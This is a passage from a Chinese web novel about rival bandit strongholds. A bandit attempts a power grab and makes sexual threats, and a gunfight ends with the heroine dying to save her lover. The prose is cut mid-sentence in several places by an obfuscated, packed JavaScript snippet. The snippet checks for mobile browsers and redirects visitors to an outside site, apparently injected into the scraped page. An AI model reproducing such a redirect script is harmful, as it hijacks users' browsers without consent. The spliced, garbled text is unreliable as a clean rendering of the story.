看时机已经差不多,杨黑娃突然大喝一声:“都**给我闭嘴,听四当家的讲话。” 聚义堂顿时安静下来。 七双眼睛齐刷刷地看向慕容雪,慕容雪显得无比尴尬,脸竟然红了。 “四当家的,山寨出了这么大的事情,咱们以后怎么办?” “是啊,必须得拿出一个主意来啊。” “四当家的,你倒是说话啊?” “我……那个……这……” 慕容雪此前想好的话此时竟一句也说不出来。 “四当家的,你要是不知道说什么,就让杨炮头上去说。” “对,让杨炮头上去说,我就服杨炮头。” “我也是,除了杨炮头,谁说话都不好使。” 杨黑娃毫不避讳,在众目睽睽之下竟直接走了上去。 “四当家的,要不然我来说几句?” 慕容雪此时不知道从哪里来的勇气,她怒视着杨黑娃,质问道:“杨炮头,霸虎寨当家的还没有死绝吧?怎么也轮不到你来发号施令!” “吆吆,快看嗨,四当家的生气了,杨炮头你还是快下来吧,小心被四当家的一脚踢下来,哈哈。” “四当家的和咱们大哥可不是一般的关系,杨炮头你小心点,大哥要是哪天突然回来了,让你吃不了兜着走。” “即使大哥不回来,谁知道他种下的种子会不会整出一个小崽子出来,那可是咱们的小寨主啊。” 大家越说越下流,慕容雪突然掏出**,对着空中“砰”的一声,聚义堂顿时安静下来。 大家没想到平时文文静静的四当家,还是一个暴脾气。 杨黑娃并没有被慕容雪唬住,他也丝毫没有下去的意思。 “四当家的,你这是做什么?当兄弟们都是雏吗?开枪吓唬人?” “杨炮头,国有国法,寨有寨规,我现在还是四当 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17085355|190554||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 家,就由不得你们犯上作乱,你给我滚下去!” 杨黑娃微微一笑,不仅没下去,反而一屁股坐到黄飞虎的椅子上。 司马昭之心,路人皆知。 杨黑娃这是想做寨主。 “杨黑娃,你好大的胆子!那是你能坐的地方吗?给我滚下去!” “他黄飞虎坐得,我为什么坐不得?从现在开始,他做过的任何事情我都可以做。” 杨黑娃**的目光上下打量着慕容雪,不得不说,她的翘臀,她的双峰还有她性感的嘴唇,真是馋**了。 杨黑娃的意思很明显,既然黄飞虎能睡慕容雪,他杨黑娃一样能睡。 “哈哈,杨炮头威武!” “什么杨炮头?是大当家的。” “对,大当家的威武!” “大当家的威武!” 大家齐声呼喊着口号,杨黑娃端坐正中,享受着这种欢呼。 “杨黑娃,你这是要**吗?” 面对慕容雪的质问,杨黑娃只是微微一笑。 “慕容妹子,”杨黑娃完全一副黄飞虎的腔调,“什么**?这**是**。你放心,只要你乖乖听话,哥绝不会亏待你,让你做二当家的,怎么样?” “乖乖听话?怎么样才算乖乖听话?” “乖乖听话当然就是……”杨黑娃从椅子上站起来,做了一个夸张的挺胯动作,“你懂得!哈哈!” 慕容雪痛骂道:“卑鄙!无耻!癞**想吃天鹅肉,你别做梦了!” 杨黑娃不仅不恼,反而显得更加兴奋。 “老子就喜欢你这种小辣椒性格,他黄飞虎睡得老子睡不得?老子比他更威武,哈哈!” “哈哈哈……” 众人一同哄笑起来。 “杨黑娃,你无耻!” 慕容雪刚想抬枪对准杨黑娃,却被杨黑娃一把握住手腕,他手上一发力,慕容雪“啊”的一声,手便松开了,枪掉落在地上。 “慕容妹子,要论玩枪,和哥比起来,你还差得远。” “你……” “来人,把四当家的带我房间,给老子看好喽。” 第312章 剿灭霸虎寨 慕容雪猝不及防地甩手给了杨黑娃一巴掌。 杨黑娃用手指抹了抹嘴角,上面竟有一丝血迹。 他伸出舌头舔去嘴角的血丝,狞笑道:“待会老子让你嗷嗷直叫,带下去。” 两个人上前架住慕容雪,慕容雪的挣扎显得是那么的无力。 她心里呐喊道:“李二狗,你到底在哪里啊?” “不好了,不好了,清风寨的人冲进来了!” 慕容雪瞪大了眼睛,眼前这个进来报告的土匪竟是李二狗。 “你说什么?” 杨黑娃简直不敢相信自己的耳朵,霸虎寨占据一线天有利地形,清风寨怎么可能轻易就攻了进来。 李二狗大声说道:“清风寨的人攻进来了!” 聚义堂顿时乱作一团,外面隐约已经传来厮杀声。 “都别慌,跟我来!” 杨黑娃刚冲到聚义堂门口,李二狗突然从背后扼住他的脖子,一把枪顶在了他的脑后。 “谁敢动!老子一枪崩了他!都把枪给我放下!” 众人面面相觑,手里的枪纷纷指向李二狗。 毕竟杨黑娃现在还不是霸虎寨寨主,他们没有必要为了杨黑娃的性命放下自己手中的武器。 “你是什么人?快放了杨炮头,否则我们立即把你打成筛子!” 李二狗躲在杨黑娃身后,看他们不放下武器,根本不和他们废话,直接一枪打在杨黑娃大腿上。 杨黑娃杀猪般嚎叫起来。 “快把枪放下,否则我就不客气了!” 杨黑娃喝骂道:“你们**是想害死老子吗?快把枪放下!不然老子宰了你们!” 其中有两个土匪架不住恐吓,直接把枪扔在地上。 “大家都不要放下武器,杨炮头并不是我们寨主,咱们大家没有必要为了他搭上自己的性命!” 杨黑娃大声骂道:“牛癞子,你**是自己想当寨主吧?老子饶不了你。” “杨黑娃,你为了自己活命难道让大家都跟着你陪葬吗?老子才没有那么傻!” “牛癞子…… “砰”的一声,牛癞子一枪打在杨黑娃的眉心,杨黑娃双眼圆睁,死不瞑目。 “杀了他!” 顿时所有的枪都射向李二狗。 李二狗用杨黑娃的尸体挡在自己身前,很快杨黑娃的尸体就被打成了血窟窿。 李二狗被密集的**压制的抬不起头来,危在旦夕。 “砰砰砰……” 慕容雪一梭**全部射向人群。 两个土匪倒在血泊中,其余的土匪纷纷寻找掩体。 李二狗趁机躲到一根柱子后面。 “小雪,你没事吧?” 慕容雪泪流满面,既兴奋又觉得委屈。 “你怎么才来啊?” 其实李二狗一直在聚义堂门外,他在等待一个机会。 “杀了他们!” 剩余的土匪对着两根柱子疯狂射击,其中一个土匪找来一挺机关枪,对着柱子“突突”起来。 柱子碎屑横飞,摇摇欲坠,眼看就要被打穿。 慕容雪哭道:“二狗,是我害了你!” “别说傻话,就这几块料,想要我的命没那么容易。” 慕容雪看到李二狗身旁的柱子马上就要被打穿,内心焦急万分。 她几次想探出身子还击,以期能给李二狗减轻压力,但都没有成功。 “小雪,千万别露头。” “可……” 千钧一发之际,外边的**越来越近,已经逼近聚义堂。 “我们的救兵来了!” 陈老三、陈嘎子、张石头和秀才带着人杀了进来。 陈老三身先士卒,抱着一挺**就是一阵突突。 陈嘎子、张石头也抱着一挺**突突起来。 很快,聚义堂的土匪全部身亡。 李二狗为了继续掩饰自己的身份,躲在柱子后面喊道:“老三,你们带人去占领山寨,负隅顽抗者,格杀勿论!还有,没有我的命令任何人不许进入聚义堂。” 陈老三不明白李二狗的意图,倒是秀才率先明白过来。 “三哥,听狗哥的,咱们走吧。” 他在嘴上做了个戴面巾的手势,陈老三这才明白过来。 “出去把门带上。” 聚 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return 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第313章 香消玉殒 “这里太乱了,我们走吧,去你小屋里坐坐。” 慕容雪莞尔一笑,像极了正在盛开的粉红色蜀葵花。 两人并肩往外走,慕容雪回头的瞬间笑容凝固在脸上。 牛癞子并没有死,他趴在血泊中,手里的枪对准了李二狗。 “小心!” “砰!” 慕容雪张开双臂挡在李二狗身体前面,一颗**正中她的胸口。 “小雪!” 李二狗一枪击中牛癞子的脑袋。 他伏在地上,抱着慕容雪,心如刀绞。 “小雪!” 慕容雪艰难地抬起手臂,抚摸着李二狗的脸颊,温柔地帮他拭去眼角流下的泪水。 “二……狗,别哭,为你……而死,我不……后悔。” 慕容雪的胸口处咕咕往外涌出鲜血,李二狗脱下衣服按在她的胸口上。 “小雪,你别说话,我马上带你去看大夫。” 慕容雪轻轻地拉住他的胳膊,气若游丝地说道:“不必了!我……只想和你……安静的……待一会……” 李二狗还想坚持,慕容雪眼里充满了祈求,轻轻地摇了摇头。 “二……狗,我时间……不多了……” 两颗晶莹的泪珠从她脸颊滑过,李二狗的心碎了。 他紧紧地抱着她,生怕一松手,她就会立即在自己眼前消失。 “二……狗,我喜欢你,你喜欢……我吗?” 李二狗大颗大颗的泪珠滴落在慕容雪脸上,他用力地点了点头。 “我要你……亲口对我说……” “我喜欢你,小雪,从第一眼看到你,我就喜欢你。” 慕容雪脸上露出一丝欣慰的笑容,她再次抬手抚摸着李二狗棱角分明的脸庞。 “如果……有来世,我们……要早点遇……见……” 她的手无声地从李二狗的脸庞滑落,缓缓闭上了眼睛,脸上的笑容是那么的安详。 “小……雪!” 李二狗的嘶喊声冲破云霄! 陈老三带着人已经肃清霸虎寨负隅抵抗的土匪,清风寨已经完全占领了霸虎寨。 聚义堂门口聚起了一群人,大家议论纷纷却谁都不敢推门进去。 “三哥,里面到底出了什么事?”陈嘎子问道。 这要是以前,陈老三早就冲进去了,可现在他正处在处分期,不敢太过张扬。 “狗哥不让咱们进去,咱们就在这里等着,应该没什么事。” 李二狗的哭声如泣如诉,听的人心里发慌。 “我进去看看。” 秀才心思缜密,李二狗口里喊着小雪,又放声痛哭,很明显是慕容雪出了意外。 秀才刚走到门口,聚义堂的门开了。 李二狗抱着慕容雪的尸体从里面走了出来。 “狗哥,我们帮你。” “让开!” 李二狗抱着慕容雪的尸体向后山走去。 “谁都不许跟过来!” 路两旁的蜀葵花开得正艳,在微风的吹拂下纷纷低语,层层叠叠的花瓣轻轻颤动,像是无数只彩蝶在枝头嬉戏。 阳光穿过花隙,洒下斑驳陆离的光影,粉的娇羞、红的奔放、白的清雅,交织成一条蜿蜒的锦绣长廊。 偶有蜜蜂嗡鸣其间,蜻蜓掠过花尖,整条路都沉浸在一种喧闹又宁静的生机里。 李二狗仿佛看到一个花季女孩正蹲在花丛中,所有的花朵在她面前都黯然失色。 慕容雪虽然没有说过自己喜欢蜀葵花,但路两旁栽种了如此多的蜀葵花,说明她爱蜀葵。 如此美丽的蜀葵花海,可她却不在了。 李二狗抱着慕容雪的尸体回到茅草屋,把她轻轻地放在床上,此前发生的一幕幕场景像放电影般在他脑海中反复闪现。 如果时光能倒回,他肯定会把慕容雪锁在这间屋子里,哪怕锁住她一辈子! 李二狗在屋子里一待就是一天一夜。 “三哥,狗哥在后山待了这么久,咱们要不要上去看看?不会出什么事吧?” 陈老三内心也是十分焦急,他还从来没有见过李二狗这个样子。 “要不然咱们一起上后山看看?” “好,咱们一起去。” “秀才去哪了?” “半天没看到他了。” “这小子,鬼精鬼精的,不等他了,咱们三个去。” 三个人来到后山,一直爬到山顶,也没见到李二狗的身影。 张石头望着后山悬崖发呆。 “狗哥到底去 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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